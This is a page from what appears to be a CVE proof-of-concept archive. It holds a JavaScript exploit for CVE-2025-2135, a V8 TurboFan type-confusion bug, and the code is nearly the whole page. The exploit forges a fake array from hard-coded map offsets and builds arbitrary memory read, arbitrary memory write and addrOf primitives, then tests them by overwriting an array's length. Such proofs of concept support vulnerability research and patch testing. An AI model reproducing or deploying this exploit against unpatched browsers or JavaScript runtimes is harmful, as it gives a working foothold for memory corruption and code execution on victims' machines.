4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc-CVE-2025-2135.js JS
// Flags: --turbofan --no-maglev
/*
Build V8
git checkout 8f51e033902da9b786358e6e82f0dc57b46464dc
...
*/

let float64_view = new Float64Array(1);
let big_uint64_view = new BigUint64Array(float64_view.buffer);
let uint32_view = new Uint32Array(float64_view.buffer);
Number.prototype.toBigInt = function toBigInt(){
	float64_view[0] = this;
	return big_uint64_view[0];
}

BigInt.prototype.toNumber = function toNumber(){
	big_uint64_view[0] = this;
	return float64_view[0];
}

BigInt.prototype.toUint32 = function toUint32(){
	big_uint64_view[0] = this;
	return uint32_view[0];
}

function gc_minor() { //scavenge
    for(let i = 0; i < 1000; i++) {
        new ArrayBuffer(0x10000);
    }
}

// setup our length
smi_big_length = (0x1337n)<<1n;
let offset_fixed_double_array_map = 0x8a1n;
let offset_packed_double_elements_map = 0x189a41n;
let offset_empty_fixed_array = 0x745n;



//
let first_huge_arr = new Array(0x800000);
first_huge_arr[0] = ((offset_empty_fixed_array<<32n) | offset_packed_double_elements_map).toNumber();
first_huge_arr[1] = ((smi_big_length<<32n) | (offset_empty_fixed_array)).toNumber()


let second_huge_arr = new Array(0x800000);
second_huge_arr[0] = {};

//




function exploit(){


    function f1(v2, v3) {

        var v4 = v3[0]; // HOLEY_DOUBLE_ELEMENTS
        var v5 = v2[0]; // HOLEY_DOUBLE_ELEMENTS -> HOLEY_ELEMENTS

        Array.prototype.push.call(v3, 2.199998872005392); // x+0x8 // 0x40019999`02340019
        
        //Array.prototype.push.call(v3, 2.38506043e-39); // 0x19f88c+0x8
        
    }

    for(let i=0; i<10000; i++){
        let arr = new Array(2);
        arr[0] = "gnas";
        f1(arr, [1.1, , 2.2]);
    }

    console.log("[*] Pass1");
    for(let i=0; i<10000; i++){
        //console.log("[*] i=",i);
        let arr = new Array(2);
        arr[0] = 1.1;
        f1(arr, arr);
    }


    
    let arr = new Array(1);
    arr[0] = 1.1;
    //%DebugPrint(arr);
    f1(arr, arr);

    //%DebugPrint(target_arr);

    arr[11] = 13.37;
    fake_arr = arr[2];
    //console.log(arr[1]);
    //%DebugPrint(fake_arr);
    //readline();  
    return fake_arr;
}


fake_arr = exploit();
fake_arr[0];

//%DebugPrint(fake_arr);
/*
DebugPrint: 0000033302340019: [JSArray]
 - map: 0x033300189a41 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x0333001893ad <JSArray[0]>
 - elements: 0x033300000745 <FixedArray[0]> [PACKED_DOUBLE_ELEMENTS]
 - length: 363636
*/


function arbRead(addr){ // arg.type = bigint
    let original_value = first_huge_arr[1];
    first_huge_arr[1] = ((smi_big_length<<32n) | (addr-0x8n+1n)).toNumber()
    let result = fake_arr[0].toBigInt();
    first_huge_arr[1] = original_value;

    console.log(`[AAR] Success! - read at 0x${addr.toString(16)} --> value 0x${result.toString(16)}`);

    return result;
}
function arbWrite(addr, value){ // arg.type = bigint
    let original_value = temp[1];
    first_huge_arr[1] = ((smi_big_length<<32n) | (addr-0x8n+1n)).toNumber()
    fake_arr[0] = value.toNumber();
    first_huge_arr[1] = original_value;
    console.log(`[AAW] Success! - write at 0x${addr.toString(16)} with value 0x${value.toString(16)}`);
}

// find second_huge_arr.elements offset
var y;

function find_offset_second_huge_arr_elements(){
    y = 0x06580010n
    var test_val = arbRead(y);
    if (test_val === ((0x800000n<<33n) | 0x00000565n)){
        console.log("[*] offset second_huge_arr.elements: 0x06580010n")
        return;
    }
    
    y = 0x065c0010n;
    test_val = arbRead(y);
    if (test_val === ((0x800000n<<33n) | 0x00000565n)){
        console.log("[*] offset second_huge_arr.elements: 0x065c0010n")
        return;
    }
}

find_offset_second_huge_arr_elements();


function addrOf(victim_obj){
    //let y=0x06580010n;
    second_huge_arr[0] = victim_obj;
    let orig = first_huge_arr[1];
    first_huge_arr[1] = ((smi_big_length<<32n) | (y+1n)).toNumber();

    //%DebugPrint(fake_arr);

    let result = fake_arr[0].toBigInt() & 0xFFFFFFFFn
    first_huge_arr[1] = orig;

    return result-1n; // untagged
}



//%DebugPrint(second_huge_arr);

console.log("-----------------------------------");
console.log("-----------------------------------");
console.log("-----------------------------------");
console.log("-----------------------------------");


let test_arr = [1, 2, 3];
gc_minor();

//%DebugPrint(test_arr);
offset_test_arr = addrOf(test_arr);

//console.log(`[*] offset of test_arr: 0x${offset_test_arr.toString(16)}`);


console.log(`[*] test_arr.length: ${test_arr.length}`);
console.log("<----------- TEST AAR/W ----------->");
console.log("[*] Trying to modify the test_arr.length...");
let temp = arbRead(offset_test_arr+0x8n);
let new_val = (0x1337n << 33n) | (temp & 0xFFFFFFFFn)
arbWrite(offset_test_arr+0x8n, new_val)

if (test_arr.length !== 0x1337){
    console.log("[*] Failed to modify the test_arr.length. Please try again");
    quit();
}

console.log("<----------- TEST AAR/W ----------->");
console.log(`[*] test_arr.length: ${test_arr.length}`);